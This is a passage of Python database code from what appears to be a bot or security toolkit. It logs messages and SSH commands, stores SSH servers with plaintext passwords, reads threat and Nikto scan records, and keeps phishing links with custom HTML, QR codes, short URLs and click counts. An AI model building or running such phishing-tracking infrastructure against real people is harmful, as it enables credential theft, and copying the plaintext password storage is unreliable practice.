def log_platform_message(self, platform: str, sender: str, message: str, response: str):
try:
self.cursor.execute('''
INSERT INTO platform_messages (platform, sender, message, response)
VALUES (?, ?, ?, ?)
''', (platform, sender, message[:500], response[:1000]))
self.conn.commit()
except Exception as e:
logger.error(f"Failed to log message: {e}")
def add_ssh_server(self, server: SSHServer) -> bool:
try:
self.cursor.execute('''
INSERT OR REPLACE INTO ssh_servers
(id, name, host, port, username, password, key_file, use_key, timeout, notes, created_at)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
''', (server.id, server.name, server.host, server.port, server.username,
server.password, server.key_file, server.use_key, server.timeout,
server.notes, server.created_at or datetime.datetime.now().isoformat()))
self.conn.commit()
return True
except Exception as e:
logger.error(f"Failed to add SSH server: {e}")
return False
def get_ssh_servers(self) -> List[Dict]:
try:
self.cursor.execute('SELECT * FROM ssh_servers ORDER BY name')
return [dict(row) for row in self.cursor.fetchall()]
except Exception as e:
logger.error(f"Failed to get SSH servers: {e}")
return []
def get_ssh_server(self, server_id: str) -> Optional[Dict]:
try:
self.cursor.execute('SELECT * FROM ssh_servers WHERE id = ?', (server_id,))
row = self.cursor.fetchone()
return dict(row) if row else None
except Exception as e:
logger.error(f"Failed to get SSH server: {e}")
return None
def delete_ssh_server(self, server_id: str) -> bool:
try:
self.cursor.execute('DELETE FROM ssh_servers WHERE id = ?', (server_id,))
self.conn.commit()
return self.cursor.rowcount > 0
except Exception as e:
logger.error(f"Failed to delete SSH server: {e}")
return False
def update_ssh_server_status(self, server_id: str, status: str):
try:
self.cursor.execute('''
UPDATE ssh_servers SET status = ?, last_used = CURRENT_TIMESTAMP WHERE id = ?
''', (status, server_id))
self.conn.commit()
except Exception as e:
logger.error(f"Failed to update SSH server status: {e}")
def log_ssh_command(self, server_id: str, command: str, success: bool,
output: str, execution_time: float = 0.0, executed_by: str = "system"):
try:
self.cursor.execute('''
INSERT INTO ssh_commands (server_id, command, success, output, execution_time, executed_by)
VALUES (?, ?, ?, ?, ?, ?)
''', (server_id, command, success, output[:5000], execution_time, executed_by))
self.conn.commit()
except Exception as e:
logger.error(f"Failed to log SSH command: {e}")
def get_command_history(self, limit: int = 20) -> List[Dict]:
try:
self.cursor.execute('''
SELECT command, source, platform, timestamp, success FROM command_history
ORDER BY timestamp DESC LIMIT ?
''', (limit,))
return [dict(row) for row in self.cursor.fetchall()]
except Exception as e:
logger.error(f"Failed to get command history: {e}")
return []
def get_recent_threats(self, limit: int = 10) -> List[Dict]:
try:
self.cursor.execute('''
SELECT * FROM threats ORDER BY timestamp DESC LIMIT ?
''', (limit,))
return [dict(row) for row in self.cursor.fetchall()]
except Exception as e:
logger.error(f"Failed to get threats: {e}")
return []
def get_traffic_logs(self, limit: int = 10) -> List[Dict]:
try:
self.cursor.execute('SELECT * FROM traffic_logs ORDER BY timestamp DESC LIMIT ?', (limit,))
return [dict(row) for row in self.cursor.fetchall()]
except Exception as e:
logger.error(f"Failed to get traffic logs: {e}")
return []
def get_nikto_scans(self, limit: int = 10) -> List[Dict]:
try:
self.cursor.execute('SELECT * FROM nikto_scans ORDER BY timestamp DESC LIMIT ?', (limit,))
return [dict(row) for row in self.cursor.fetchall()]
except Exception as e:
logger.error(f"Failed to get Nikto scans: {e}")
return []
def save_phishing_link(self, link: PhishingLink) -> bool:
try:
self.cursor.execute('''
INSERT OR REPLACE INTO phishing_links
(id, platform, phishing_url, custom_html, created_at, clicks, qr_path, short_url)
VALUES (?, ?, ?, ?, ?, ?, ?, ?)
''', (link.id, link.platform, link.phishing_url, link.custom_html,
link.created_at, link.clicks, link.qr_path, link.short_url))
self.conn.commit()
return True
except Exception as e:
logger.error(f"Failed to save phishing link: {e}")
return False
def get_phishing_links(self, active_only: bool = True) -> List[Dict]:
try:
if active_only:
self.cursor.execute('SELECT * FROM phishing_links WHERE active = 1 ORDER BY created_at DESC')
else:
self.cursor.execute('SELECT * FROM phishing_links ORDER BY created_at DESC')
return [dict(row) for row in self.cursor.fetchall()]
except Exception as e:
logger.error(f"Failed to get phishing links: {e}")
return []
def get_phishing_link(self, link_id: str) -> Optional[Dict]:
try:
self.cursor.execute('SELECT * FROM phishing_links WHERE id = ?', (link_id,))
row = self.cursor.fetchone()
return dict(row) if row else None
except Exception as e:
logger.error(f"Failed to get phishing link: {e}")
return None
def update_phishing_link_clicks(self, link_id: str):
try:
self.cursor.execute('UPDATE phishing_links SET clicks = clicks + 1 WHERE id = ?', (link_id,))
self.conn.commit()